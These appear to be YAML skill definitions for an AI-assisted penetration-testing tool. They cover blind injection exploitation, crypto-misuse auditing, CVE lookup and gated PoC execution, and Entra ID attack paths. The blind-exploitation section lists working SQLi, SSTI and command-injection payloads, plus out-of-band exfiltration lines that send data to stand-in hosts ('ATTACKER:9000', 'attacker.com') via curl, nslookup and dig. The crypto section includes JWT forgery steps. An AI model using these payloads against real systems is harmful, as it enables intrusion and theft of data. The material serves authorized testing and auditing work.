- "out.?of.?band"
|
|
25
|
+
- "\\boob\\b"
|
|
26
|
+
- "sleep\\("
|
|
27
|
+
- "pg_sleep"
|
|
28
|
+
- "BENCHMARK\\("
|
|
29
|
+
- "php://filter"
|
|
30
|
+
- "convert\\.base64-encode"
|
|
31
|
+
- "identical.*respons"
|
|
32
|
+
- "same.*respons"
|
|
33
|
+
- "callback"
|
|
34
|
+
estimated_tokens: 950
|
|
35
|
+
content: |
|
|
36
|
+
## Blind Exploitation Techniques
|
|
37
|
+
|
|
38
|
+
### Phase 1: Confirm Blind Injection Exists
|
|
39
|
+
Before investing in extraction, prove the payload is being evaluated:
|
|
40
|
+
1. Send a baseline request, record response body length, status code, and timing
|
|
41
|
+
2. Send an injection that SHOULD cause a detectable difference:
|
|
42
|
+
- Boolean: `' AND 1=1-- -` vs `' AND 1=2-- -`
|
|
43
|
+
- Timing: `' AND SLEEP(3)-- -` vs baseline
|
|
44
|
+
- Error: `' AND 1=CONVERT(int,'x')-- -`
|
|
45
|
+
3. Repeat 3 times to rule out network jitter — consistent delta confirms execution
|
|
46
|
+
|
|
47
|
+
### Phase 2: Time-Based Oracle
|
|
48
|
+
Use timing differences as an information channel:
|
|
49
|
+
|
|
50
|
+
**SQL Injection:**
|
|
51
|
+
- MySQL: `' AND IF(SUBSTRING(user(),1,1)='r',SLEEP(3),0)-- -`
|
|
52
|
+
- PostgreSQL: `'; SELECT CASE WHEN (SUBSTRING(current_user,1,1)='p') THEN pg_sleep(3) ELSE pg_sleep(0) END-- -`
|
|
53
|
+
- MSSQL: `'; IF (SUBSTRING(SYSTEM_USER,1,1)='s') WAITFOR DELAY '0:0:3'-- -`
|
|
54
|
+
- SQLite: `' AND (SELECT CASE WHEN (SUBSTR(sqlite_version(),1,1)='3') THEN randomblob(200000000) ELSE 0 END)-- -`
|
|
55
|
+
|
|
56
|
+
**SSTI:**
|
|
57
|
+
- Jinja2: `{{config.__class__.__init__.__globals__['os'].popen('sleep 3').read()}}`
|
|
58
|
+
- Twig: `{{['sleep 3']|filter('system')}}`
|
|
59
|
+
|
|
60
|
+
**Command Injection:**
|
|
61
|
+
- `; sleep 3`, `| sleep 3`, `` `sleep 3` ``, `$(sleep 3)`
|
|
62
|
+
|
|
63
|
+
Binary search strategy: bisect ASCII range to extract each character in ~7 requests.
|
|
64
|
+
Total time for a 20-char string: ~140 requests at 3s each = ~7 minutes.
|
|
65
|
+
|
|
66
|
+
### Phase 3: Out-of-Band (OOB) Callbacks
|
|
67
|
+
When timing is unreliable (load balancers, caching, async processing):
|
|
68
|
+
|
|
69
|
+
**Set up a listener first:**
|
|
70
|
+
```bash
|
|
71
|
+
python3 -m http.server 9000 > /tmp/oob.log 2>&1 &
|
|
72
|
+
echo $! > /tmp/oob.pid
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
**HTTP callback payloads:**
|
|
76
|
+
- SQLi (MySQL): `' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\',HEX(user()),'.attacker.com\\\\a'))-- -`
|
|
77
|
+
- SQLi (PostgreSQL): `'; COPY (SELECT current_user) TO PROGRAM 'curl http://ATTACKER:9000/?d='||current_user-- -`
|
|
78
|
+
- SSTI: `{{config.__class__.__init__.__globals__['os'].popen('curl http://ATTACKER:9000/$(id|base64)').read()}}`
|
|
79
|
+
- Command injection: `; curl http://ATTACKER:9000/$(whoami)`
|
|
80
|
+
- XXE: `<!ENTITY xxe SYSTEM "http://ATTACKER:9000/xxe-confirmed">`
|
|
81
|
+
|
|
82
|
+
**DNS exfiltration (when HTTP egress is blocked):**
|
|
83
|
+
- `; nslookup $(whoami).attacker.com`
|
|
84
|
+
- `; dig $(cat /etc/hostname).attacker.com`
|
|
85
|
+
- MSSQL: `'; EXEC master..xp_dirtree '\\\\\\\\attacker.com\\\\a'-- -`
|
|
86
|
+
|
|
87
|
+
**Check the listener:**
|
|
88
|
+
```bash
|
|
89
|
+
cat /tmp/oob.log
|
|
90
|
+
kill $(cat /tmp/oob.pid)
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
### Phase 4: Error-Based Inference
|
|
94
|
+
Force the application to leak data through error messages:
|
|
95
|
+
|
|
96
|
+
**SQL error-based extraction:**
|
|
97
|
+
- MySQL extractvalue: `' AND extractvalue(1,concat(0x7e,(SELECT user())))-- -`
|
|
98
|
+
- MySQL updatexml: `' AND updatexml(1,concat(0x7e,(SELECT version())),1)-- -`
|
|
99
|
+
- PostgreSQL cast: `' AND 1=cast((SELECT current_user) as int)-- -`
|
|
100
|
+
- MSSQL convert: `' AND 1=CONVERT(int,(SELECT @@version))-- -`
|
|
101
|
+
|
|
102
|
+
**SSTI error leak:**
|
|
103
|
+
- Access invalid index to leak subclass list in traceback
|
|
104
|
+
- Force TypeError with type-sensitive operations
|
|
105
|
+
|
|
106
|
+
### Phase 5: Boolean-Based Extraction
|
|
107
|
+
When only true/false differences are observable (response length, content, status):
|
|
108
|
+
|
|
109
|
+
**Optimized extraction loop:**
|
|
110
|
+
1. Determine response length for true condition (`' AND 1=1-- -`)
|
|
111
|
+
2. Determine response length for false condition (`' AND 1=2-- -`)
|
|
112
|
+
3. Extract data character by character using binary search:
|
|
113
|
+
```
|
|
114
|
+
' AND ASCII(SUBSTRING((SELECT user()),1,1))>64-- - → true? >64
|
|
115
|
+
' AND ASCII(SUBSTRING((SELECT user()),1,1))>96-- - → true? >96
|
|
116
|
+
' AND ASCII(SUBSTRING((SELECT user()),1,1))>112-- - → false? 97-112
|
|
117
|
+
... narrow to exact character in 7 queries
|
|
118
|
+
```
|
|
119
|
+
4. Detect string end: `' AND LENGTH((SELECT user()))=N-- -`
|
|
120
|
+
|
|
121
|
+
### Phase 6: Blind LFI / WAF Bypass
|
|
122
|
+
When path traversal output is filtered:
|
|
123
|
+
|
|
124
|
+
**PHP filter chains (read source as base64):**
|
|
125
|
+
```
|
|
126
|
+
php://filter/convert.base64-encode/resource=index.php
|
|
127
|
+
php://filter/read=string.rot13/resource=/etc/passwd
|
|
128
|
+
php://filter/zlib.deflate|convert.base64-encode/resource=/flag
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
**Encoded traversal when `../` is blocked:**
|
|
132
|
+
- URL encode: `%2e%2e%2f`
|
|
133
|
+
- Double URL encode: `..%252f`
|
|
134
|
+
- Overlong UTF-8: `..%c0%af`, `..%c1%9c`
|
|
135
|
+
- Backslash: `..\\..\\etc\\passwd` (Windows/Node)
|
|
136
|
+
|
|
137
|
+
### Phase 7: Combine Techniques
|
|
138
|
+
When a single channel is unreliable, chain them:
|
|
139
|
+
1. Use time-based to CONFIRM injection exists (cheap, reliable)
|
|
140
|
+
2. Switch to OOB for bulk data extraction (faster than timing per-char)
|
|
141
|
+
3. If OOB blocked, fall back to boolean + binary search
|
|
142
|
+
4. If all external channels blocked, try file write + read via a second endpoint
|
|
143
|
+
5. Last resort: error-based leak through stack traces or type coercion
|
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
id: crypto-misuse
|
|
2
|
+
name: "Cryptographic Misuse Detection"
|
|
3
|
+
description: "Static source patterns for crypto misuse: weak hashes (MD5/SHA1) on security paths, hardcoded keys/IVs, ECB mode, static IVs, predictable RNG for secrets, weak KDF params, and missing auth-tag verification."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- audit
|
|
7
|
+
- review
|
|
8
|
+
- attack
|
|
9
|
+
tags:
|
|
10
|
+
- cryptography
|
|
11
|
+
- crypto-misuse
|
|
12
|
+
- weak-hash
|
|
13
|
+
- hardcoded-key
|
|
14
|
+
- ecb
|
|
15
|
+
- predictable-rng
|
|
16
|
+
- kdf
|
|
17
|
+
- auth-bypass
|
|
18
|
+
triggers:
|
|
19
|
+
- "createHash\\s*\\(\\s*['\"]md5"
|
|
20
|
+
- "createHash\\s*\\(\\s*['\"]sha-?1"
|
|
21
|
+
- "hashlib\\.(md5|sha1)"
|
|
22
|
+
- "createCipheriv"
|
|
23
|
+
- "aes-\\d+-ecb"
|
|
24
|
+
- "MODE_ECB"
|
|
25
|
+
- "Math\\.random"
|
|
26
|
+
- "crypto-js"
|
|
27
|
+
- "node-forge"
|
|
28
|
+
- "pbkdf2"
|
|
29
|
+
- "createHmac"
|
|
30
|
+
estimated_tokens: 700
|
|
31
|
+
content: |
|
|
32
|
+
## Cryptographic Misuse — Static Source Audit
|
|
33
|
+
|
|
34
|
+
Crypto bugs are high-signal and deterministically provable: the weakness is in
|
|
35
|
+
the code, not behaviour-dependent. Gate every check on *security-relevant*
|
|
36
|
+
usage so you do not flood findings (a plain content checksum with MD5 is fine;
|
|
37
|
+
MD5 over a password is not).
|
|
38
|
+
|
|
39
|
+
### 1. Weak hash for a security purpose
|
|
40
|
+
- `crypto.createHash('md5'|'sha1')` / `hashlib.md5|sha1` used for a password,
|
|
41
|
+
token, signature, salt, or key-derivation value → broken (collision/preimage).
|
|
42
|
+
- `createHmac('md5'|'sha1', ...)` is always keyed → flag regardless of context.
|
|
43
|
+
- Remediation: argon2id / scrypt / bcrypt for passwords; SHA-256+ for
|
|
44
|
+
integrity/signing; HMAC-SHA-256+ for MACs.
|
|
45
|
+
- DO NOT flag: MD5/SHA-1 used purely as a non-security content checksum / ETag.
|
|
46
|
+
|
|
47
|
+
### 2. Hardcoded keys / IVs / secrets
|
|
48
|
+
- `createCipheriv(algo, '<literal>', '<literal>')` — hardcoded key (anyone with
|
|
49
|
+
source can decrypt) and a static IV (defeats semantic security; a reused IV
|
|
50
|
+
in CTR/GCM is catastrophic — GCM nonce reuse enables key/forgery recovery).
|
|
51
|
+
- Literal HMAC/JWT signing secret, or a high-entropy literal assigned to a
|
|
52
|
+
`secret`/`privateKey`/`apiKey`/`jwtSecret` identifier → forgeable signatures.
|
|
53
|
+
- Gate on entropy + length to skip placeholders (`changeme`, `<your-secret>`)
|
|
54
|
+
and `process.env.*` references.
|
|
55
|
+
- Remediation: KMS / secret manager; generate a fresh random IV per message.
|
|
56
|
+
|
|
57
|
+
### 3. ECB block-cipher mode
|
|
58
|
+
- `aes-*-ecb`, `mode: ECB`, `AES.MODE_ECB` → identical plaintext blocks map to
|
|
59
|
+
identical ciphertext blocks (the "ECB penguin"); no semantic security.
|
|
60
|
+
- Remediation: AES-256-GCM (authenticated), or AES-CBC with random IV + a MAC.
|
|
61
|
+
|
|
62
|
+
### 4. JWT algorithm confusion
|
|
63
|
+
- `alg: "none"` / `algorithms: ["none"]` → unsigned-token forgery → full auth
|
|
64
|
+
bypass. Craft `{"alg":"none"}` + empty signature with arbitrary claims.
|
|
65
|
+
- `algorithms` allow-list mixing HS* (symmetric) with RS/ES/PS* (asymmetric) →
|
|
66
|
+
HS-vs-RS confusion: sign a forged token with the public key as the HMAC
|
|
67
|
+
secret and the RSA-verifying server accepts it.
|
|
68
|
+
- `jwt.verify(token, key)` with NO `algorithms` option → library trusts the
|
|
69
|
+
attacker-controlled header `alg`, enabling both attacks above.
|
|
70
|
+
- Remediation: pin a single explicit algorithm in `algorithms`.
|
|
71
|
+
- To prove: forge a token and submit it (see `jwt-attacks` skill).
|
|
72
|
+
|
|
73
|
+
### 5. Predictable RNG for secrets
|
|
74
|
+
- `Math.random()` (xorshift128+, state recoverable) or Python `random` module
|
|
75
|
+
(Mersenne Twister, predictable) used for a token / key / nonce / OTP /
|
|
76
|
+
password-reset value → guessable secret.
|
|
77
|
+
- Remediation: `crypto.randomBytes` / `crypto.randomUUID` /
|
|
78
|
+
`crypto.getRandomValues`; Python `secrets`.
|
|
79
|
+
- DO NOT flag: `Math.random()` for UI jitter / sampling / animation.
|
|
80
|
+
|
|
81
|
+
### 6. Weak KDF parameters (review when present)
|
|
82
|
+
- `pbkdf2` with a low iteration count (< 100k for SHA-256), short/empty salt,
|
|
83
|
+
or a non-random salt. Prefer argon2id / scrypt with tuned cost params.
|
|
84
|
+
|
|
85
|
+
### 7. Missing authenticated-decryption checks
|
|
86
|
+
- GCM/ChaCha20-Poly1305 decryption that never verifies the auth tag (e.g.
|
|
87
|
+
ignoring `decipher.setAuthTag` / catching and swallowing the tag-mismatch
|
|
88
|
+
error) → ciphertext tampering goes undetected.
|
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+
id: cve-poc-adaptation
|
|
2
|
+
name: "CVE Artifact Lookup & Reasoning"
|
|
3
|
+
description: "When to reach for the read-only `cve_lookup` engine: given a CVE id, fetch the description, affected ranges, write-ups/advisories, and ranked public PoC candidates from curated catalogues (NVD, GHSA, OSV, distro trackers, GitHub) — then reason about applicability. Read-only: it fetches artifacts, it does NOT adapt or run any PoC."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
- review
|
|
9
|
+
tags:
|
|
10
|
+
- cve
|
|
11
|
+
- poc
|
|
12
|
+
- advisory
|
|
13
|
+
- artifact-lookup
|
|
14
|
+
- nvd
|
|
15
|
+
- ghsa
|
|
16
|
+
triggers:
|
|
17
|
+
- "CVE-\\d{4}-\\d+"
|
|
18
|
+
- "CVE-"
|
|
19
|
+
- "advisory"
|
|
20
|
+
- "artifact"
|
|
21
|
+
- "proof.?of.?concept"
|
|
22
|
+
- "PoC"
|
|
23
|
+
estimated_tokens: 600
|
|
24
|
+
content: |
|
|
25
|
+
## CVE artifact lookup and reasoning (read-only)
|
|
26
|
+
|
|
27
|
+
When a CVE id comes up, do NOT recite details from memory — memory of specific
|
|
28
|
+
CVEs is unreliable and often conflates versions. Call **`cve_lookup`**: it
|
|
29
|
+
queries curated public catalogues (NVD, GHSA, OSV, distro trackers, GitHub)
|
|
30
|
+
and returns the grounded artifacts. It is READ-ONLY — it fetches, it does not
|
|
31
|
+
adapt or execute any PoC.
|
|
32
|
+
|
|
33
|
+
### How to drive it
|
|
34
|
+
- Pass `cve` (e.g. `CVE-2024-1086`). Optionally `skip_github_poc_search: true`
|
|
35
|
+
for a faster, lower-quota run, and `timeout_ms` per source.
|
|
36
|
+
|
|
37
|
+
### Reading the result
|
|
38
|
+
- `description`, `published`, and `affected[]` (deduped version ranges) — use
|
|
39
|
+
these to decide whether the target is actually in an affected range.
|
|
40
|
+
- `poc_urls[]` are ranked candidates. **They are UNVERIFIED public artifacts,
|
|
41
|
+
not confirmed-working exploits.** Treat a high-confidence rank as a lead, not
|
|
42
|
+
proof.
|
|
43
|
+
- `writeup_urls[]` are advisories / analyses — read them to understand the
|
|
44
|
+
root cause and the exact vulnerable code path.
|
|
45
|
+
- `sources[]` records each catalogue's status; an all-error result means the
|
|
46
|
+
lookup failed (network), not that the CVE has no artifacts.
|
|
47
|
+
|
|
48
|
+
### Reasoning about applicability (the point of the lookup)
|
|
49
|
+
1. Map the CVE's affected range against the target's actual version/commit.
|
|
50
|
+
2. From the write-ups, identify the vulnerable sink and the precondition that
|
|
51
|
+
makes it reachable — then check the target source for that precondition
|
|
52
|
+
(this is where `deep_source_review` / `read_file` come in).
|
|
53
|
+
3. Only claim exposure when you can trace a concrete reachable path, not
|
|
54
|
+
merely a version match.
|
|
55
|
+
|
|
56
|
+
### Scope note
|
|
57
|
+
This tool is the READ-ONLY half of the CVE workflow. PoC adaptation /
|
|
58
|
+
reproduction is a separate, gated capability — do not assume `cve_lookup`
|
|
59
|
+
runs or ports any exploit.
|
|
60
|
+
|
|
61
|
+
## The gated other half: `cve_adapt` (adapts + RUNS a PoC)
|
|
62
|
+
|
|
63
|
+
Once `cve_lookup` has grounded the CVE and you have a concrete in-scope
|
|
64
|
+
target, `cve_adapt` is the active counterpart: it ADAPTS a public PoC to the
|
|
65
|
+
target and RUNS it to confirm exploitability. Because it executes an adapted
|
|
66
|
+
exploit, it is deny-by-default:
|
|
67
|
+
- It requires the feature flag `0SEC_FEATURE_CVE_ADAPT=1`, AND
|
|
68
|
+
- an active engagement scope (the target must be in scope).
|
|
69
|
+
Absent either, `cve_adapt` is not available — that is the correct, intended
|
|
70
|
+
gating, not a failure to route around.
|
|
71
|
+
|
|
72
|
+
### The two-step workflow
|
|
73
|
+
1. `cve_lookup` (read-only): fetch artifacts, confirm the target is in an
|
|
74
|
+
affected range, read the write-ups to understand the sink + precondition.
|
|
75
|
+
2. `cve_adapt` (gated, active): adapt the ranked PoC to the target and run it;
|
|
76
|
+
a successful run is a reproduced, confirmed exploitation of that CVE on the
|
|
77
|
+
target. A failed adaptation is not proof of non-exposure — the PoC may need
|
|
78
|
+
a different offset/version tweak.
|
|
79
|
+
|
|
80
|
+
Never claim a CVE is exploitable on the target from a version match or a
|
|
81
|
+
lookup alone; only a reproduced `cve_adapt` run (or a hand-verified PoC)
|
|
82
|
+
confirms it.
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
id: entra-attack-paths
|
|
2
|
+
name: "Entra ID Attack-Path Analysis"
|
|
3
|
+
description: "When to reach for the offline `entra_attack_paths` engine: given an AzureHound export on disk, enumerate paths to Global Administrator, service-principal escalation, consent-grant abuse, owner chains, and guest escalation — files only, no collection, no authentication, no network."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
- review
|
|
9
|
+
tags:
|
|
10
|
+
- entra-id
|
|
11
|
+
- azure-ad
|
|
12
|
+
- azurehound
|
|
13
|
+
- global-administrator
|
|
14
|
+
- service-principal
|
|
15
|
+
- consent-grant
|
|
16
|
+
- privilege-escalation
|
|
17
|
+
triggers:
|
|
18
|
+
- "AzureHound"
|
|
19
|
+
- "[Gg]lobal [Aa]dministrator"
|
|
20
|
+
- "service principal"
|
|
21
|
+
- "consent grant"
|
|
22
|
+
- "Entra"
|
|
23
|
+
- "Azure AD"
|
|
24
|
+
estimated_tokens: 600
|
|
25
|
+
content: |
|
|
26
|
+
## Entra ID (Azure AD) attack-path analysis (offline)
|
|
27
|
+
|
|
28
|
+
When an **AzureHound** export is on disk, use the **`entra_attack_paths`**
|
|
29
|
+
tool rather than reasoning about the tenant graph by hand. It ingests the
|
|
30
|
+
AzureHound JSON, builds the directory graph, and runs the path analyzers
|
|
31
|
+
entirely offline — it never collects, authenticates, or touches the network.
|
|
32
|
+
|
|
33
|
+
### When this applies
|
|
34
|
+
- A directory of AzureHound `*.json`, or a single AzureHound export.
|
|
35
|
+
- Questions about paths to **Global Administrator**, **service-principal**
|
|
36
|
+
escalation, **consent-grant** abuse, owner chains, or guest escalation.
|
|
37
|
+
|
|
38
|
+
### How to drive it
|
|
39
|
+
- Pass `dir` (a directory) or `file` (a single export).
|
|
40
|
+
- Optionally pass `owned` (comma-separated object ids already under your
|
|
41
|
+
control) to make those principals the path sources, and `max_depth` to bound
|
|
42
|
+
traversal.
|
|
43
|
+
|
|
44
|
+
### Reading the result
|
|
45
|
+
- `findings[]` are severity-then-shortest-path ordered; each carries a
|
|
46
|
+
`shortestPath`, path count, affected principals, and remediation.
|
|
47
|
+
- Check `graph.relationshipsCollected`. **If false, membership/ownership was
|
|
48
|
+
not collected** — paths that depend on it cannot be computed, and their
|
|
49
|
+
absence is NOT evidence that none exist. Recommend a fuller AzureHound run.
|
|
50
|
+
|
|
51
|
+
### Contrast with posture
|
|
52
|
+
- `entra_attack_paths` is OFFLINE graph reasoning over an export.
|
|
53
|
+
- `entra_posture` is a live, read-only Graph API posture assessment (token in
|
|
54
|
+
`0SEC_GRAPH_ACCESS_TOKEN`). Use posture for config hygiene; use attack-paths
|
|
55
|
+
for reachability/escalation.
|